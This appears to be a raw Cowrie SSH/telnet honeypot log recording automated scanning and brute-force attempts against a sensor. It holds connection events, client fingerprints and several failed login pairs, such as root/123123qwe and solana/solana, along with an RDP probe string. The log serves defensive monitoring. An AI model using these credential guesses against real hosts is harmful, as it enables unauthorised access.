{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:49.936322Z","src_ip":"109.237.96.109","session":"84e3537d3312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:50.029833Z","src_ip":"109.237.96.109","session":"84e3537d3312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qwe","message":"login attempt [root/123123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:50.300221Z","src_ip":"109.237.96.109","session":"84e3537d3312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:51.393365Z","src_ip":"109.237.96.109","session":"84e3537d3312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33604,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3f0845d209","protocol":"telnet","message":"New connection: 192.119.13.58:33604 (10.17.0.5:23) [session: 6b3f0845d209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:51.826183Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60548,"dst_ip":"10.17.0.5","dst_port":22,"session":"57f4cebc36f2","protocol":"ssh","message":"New connection: 80.94.92.184:60548 (10.17.0.5:22) [session: 57f4cebc36f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:52.800083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:53.509721Z","src_ip":"80.94.92.184","session":"57f4cebc36f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:53.513734Z","src_ip":"80.94.92.184","session":"57f4cebc36f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:54.820714Z","src_ip":"80.94.92.184","session":"57f4cebc36f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.92143249511719,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:55.623955Z","src_ip":"192.119.13.58","session":"5a33b5b855fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:56.032594Z","src_ip":"80.94.92.184","session":"57f4cebc36f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51974,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b11526f748","protocol":"telnet","message":"New connection: 192.119.13.58:51974 (10.17.0.5:23) [session: 11b11526f748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:57.095198Z"}
{"eventid":"cowrie.session.closed","duration":31.905992031097412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:03.227284Z","src_ip":"192.119.13.58","session":"2208ad631607","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.68434953689575,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:11.083366Z","src_ip":"192.119.13.58","session":"c0e182f9e225","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39998,"dst_ip":"10.17.0.5","dst_port":23,"session":"40ab279e5f19","protocol":"telnet","message":"New connection: 192.119.13.58:39998 (10.17.0.5:23) [session: 40ab279e5f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:13.503515Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40686,"dst_ip":"10.17.0.5","dst_port":23,"session":"0125a981e447","protocol":"telnet","message":"New connection: 192.119.13.58:40686 (10.17.0.5:23) [session: 0125a981e447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:13.739557Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43134,"dst_ip":"10.17.0.5","dst_port":23,"session":"d89e82732fd5","protocol":"telnet","message":"New connection: 192.119.13.58:43134 (10.17.0.5:23) [session: d89e82732fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:14.509632Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48290,"dst_ip":"10.17.0.5","dst_port":23,"session":"36a4b33ab89e","protocol":"telnet","message":"New connection: 192.119.13.58:48290 (10.17.0.5:23) [session: 36a4b33ab89e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:15.863935Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50610,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac9a33f15e9","protocol":"telnet","message":"New connection: 192.119.13.58:50610 (10.17.0.5:23) [session: 2ac9a33f15e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:16.612636Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50662,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8e15c9ad7c","protocol":"telnet","message":"New connection: 192.119.13.58:50662 (10.17.0.5:23) [session: 5b8e15c9ad7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:16.631454Z"}
{"eventid":"cowrie.session.closed","duration":35.698708295822144,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:21.415767Z","src_ip":"192.119.13.58","session":"eb650a76ef31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45926,"dst_ip":"10.17.0.5","dst_port":23,"session":"a27f9435a513","protocol":"telnet","message":"New connection: 192.119.13.58:45926 (10.17.0.5:23) [session: a27f9435a513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:22.812975Z"}
{"eventid":"cowrie.session.closed","duration":32.446953773498535,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:24.273022Z","src_ip":"192.119.13.58","session":"6b3f0845d209","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.732396602630615,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:25.752133Z","src_ip":"192.119.13.58","session":"583bc7f511e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.282394886016846,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:30.601173Z","src_ip":"192.119.13.58","session":"53123ca7904a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.9331750869751,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:39.028275Z","src_ip":"192.119.13.58","session":"11b11526f748","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58690,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd0dea6b9ce3","protocol":"telnet","message":"New connection: 192.119.13.58:58690 (10.17.0.5:23) [session: fd0dea6b9ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:40.349342Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36274,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab13213e5f47","protocol":"telnet","message":"New connection: 192.119.13.58:36274 (10.17.0.5:23) [session: ab13213e5f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:41.570464Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43886,"dst_ip":"10.17.0.5","dst_port":23,"session":"4843965ba1e0","protocol":"telnet","message":"New connection: 192.119.13.58:43886 (10.17.0.5:23) [session: 4843965ba1e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:43.810005Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64594,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1e6183567a6","protocol":"ssh","message":"New connection: 152.42.212.128:64594 (10.17.0.5:22) [session: d1e6183567a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:45.512500Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:45.522413Z","src_ip":"152.42.212.128","session":"d1e6183567a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:45.526271Z","src_ip":"152.42.212.128","session":"d1e6183567a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.36917304992676,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:47.108612Z","src_ip":"192.119.13.58","session":"0125a981e447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59948,"dst_ip":"10.17.0.5","dst_port":23,"session":"79a55aa9e739","protocol":"telnet","message":"New connection: 192.119.13.58:59948 (10.17.0.5:23) [session: 79a55aa9e739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:49.470817Z"}
{"eventid":"cowrie.session.closed","duration":37.075090408325195,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:51.584630Z","src_ip":"192.119.13.58","session":"d89e82732fd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.23875379562378,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:52.742138Z","src_ip":"192.119.13.58","session":"40ab279e5f19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.042739391326904,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:52.906562Z","src_ip":"192.119.13.58","session":"36a4b33ab89e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":47280,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef37c03b7707","protocol":"ssh","message":"New connection: 43.135.182.46:47280 (159.203.135.109:22) [session: ef37c03b7707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:56.514094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:56.519048Z","src_ip":"43.135.182.46","session":"ef37c03b7707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:56.658807Z","src_ip":"43.135.182.46","session":"ef37c03b7707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsx3edc","message":"login attempt [root/2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:57.119149Z","src_ip":"43.135.182.46","session":"ef37c03b7707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.46860194206238,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:57.281412Z","src_ip":"192.119.13.58","session":"a27f9435a513","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:04:58.190517Z","src_ip":"43.135.182.46","session":"ef37c03b7707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.42832088470459,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:03.059647Z","src_ip":"192.119.13.58","session":"5b8e15c9ad7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57654,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b4fd8a4ebd8","protocol":"telnet","message":"New connection: 192.119.13.58:57654 (10.17.0.5:23) [session: 7b4fd8a4ebd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:03.947007Z"}
{"eventid":"cowrie.session.closed","duration":0.00666046142578125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:03.953502Z","src_ip":"192.119.13.58","session":"7b4fd8a4ebd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.236","src_port":57306,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c18203bb75e","protocol":"ssh","message":"New connection: 92.118.39.236:57306 (159.203.135.109:22) [session: 4c18203bb75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:04.441931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:04.448964Z","src_ip":"92.118.39.236","session":"4c18203bb75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:04.551587Z","src_ip":"92.118.39.236","session":"4c18203bb75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60090,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4db535e7103","protocol":"telnet","message":"New connection: 192.119.13.58:60090 (10.17.0.5:23) [session: a4db535e7103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:04.672584Z"}
{"eventid":"cowrie.session.closed","duration":48.34743142127991,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:04.959941Z","src_ip":"192.119.13.58","session":"2ac9a33f15e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:04.990943Z","src_ip":"92.118.39.236","session":"4c18203bb75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35330,"dst_ip":"10.17.0.5","dst_port":23,"session":"a91a09330a6b","protocol":"telnet","message":"New connection: 192.119.13.58:35330 (10.17.0.5:23) [session: a91a09330a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:05.572561Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45930,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eaa4d33987e","protocol":"telnet","message":"New connection: 192.119.13.58:45930 (10.17.0.5:23) [session: 5eaa4d33987e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:08.734676Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49526,"dst_ip":"10.17.0.5","dst_port":23,"session":"84bd7a78106b","protocol":"telnet","message":"New connection: 192.119.13.58:49526 (10.17.0.5:23) [session: 84bd7a78106b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:17.278378Z"}
{"eventid":"cowrie.session.closed","duration":36.64984631538391,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:18.220057Z","src_ip":"192.119.13.58","session":"ab13213e5f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55356,"dst_ip":"10.17.0.5","dst_port":23,"session":"a29d40a8185f","protocol":"telnet","message":"New connection: 192.119.13.58:55356 (10.17.0.5:23) [session: a29d40a8185f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:18.559885Z"}
{"eventid":"cowrie.session.closed","duration":39.26847696304321,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:19.617695Z","src_ip":"192.119.13.58","session":"fd0dea6b9ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37902,"dst_ip":"10.17.0.5","dst_port":23,"session":"63a6e740ec8a","protocol":"telnet","message":"New connection: 192.119.13.58:37902 (10.17.0.5:23) [session: 63a6e740ec8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:30.195086Z"}
{"eventid":"cowrie.session.closed","duration":40.92867374420166,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:30.399407Z","src_ip":"192.119.13.58","session":"79a55aa9e739","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.54943060874939,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:31.359288Z","src_ip":"192.119.13.58","session":"4843965ba1e0","protocol":"telnet"}
